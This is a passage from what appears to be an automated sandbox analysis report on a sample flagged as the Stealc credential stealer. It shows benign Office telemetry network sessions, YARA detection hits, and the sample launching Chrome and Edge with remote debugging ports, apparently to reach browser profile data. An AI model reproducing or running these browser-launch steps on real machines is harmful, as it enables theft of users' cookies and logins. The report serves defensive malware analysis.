2024-11-11 18:17:56 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 8ecc46cc-c01e-001c-1e1c-34b010000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181756Z-174f7845968jrjrxhC1EWRmmrs00000005f0000000008y5g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ca9795ec-a01e-006f-27d5-3313cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f7845968swgbqhC1EWRmnb400000005g00000000072u4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: a04d8451-d01e-00ad-12d5-33e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f7845968nxc96hC1EWRspw8000000050g00000000eyzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: ab1019be-501e-0035-43d5-33c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f7845968frfdmhC1EWRxxbw00000005eg000000000rc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:57 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 41743bdd-f01e-003c-7cd5-338cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f7845968c2t8dhC1EWR8s20000000051g00000000achk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:57 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:56 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:56 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: dc8e8528-f01e-0085-10d5-3388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181756Z-174f7845968n2hr8hC1EWR9cag00000004yg00000000ahzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:57 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:57 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:57 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7f458887-c01e-008e-47d5-337381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181757Z-174f7845968cdxdrhC1EWRg0en000000055g00000000s6qv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:57 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:57 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:57 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 2302abc5-d01e-0017-53d5-33b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181757Z-174f7845968n2hr8hC1EWR9cag000000051g0000000006mt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:57 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:57 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:57 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: b29ecc16-801e-00a3-01d5-337cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181757Z-174f7845968pf68xhC1EWRr4h800000005mg0000000069ah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:57 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:57 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:57 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 65803071-501e-000a-4fd5-330180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181757Z-174f7845968swgbqhC1EWRmnb400000005dg00000000eknt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:57 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Target ID:	0
Start time:	13:17:25
Start date:	11/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf30000
File size:	1'744'384 bytes
MD5 hash:	DE2C57DABA8A1E3B80177B5C161D68C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1579443796.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1579011520.000000000079E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1250626319.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:17:32
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:17:33
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2184,i,17830567374915129645,17658009818156142386,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:17:42
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:17:43
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2584 --field-trial-handle=2236,i,16034310366298232059,5096716925482931447,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:17:43
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	13:17:43
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3004 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:17:49
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
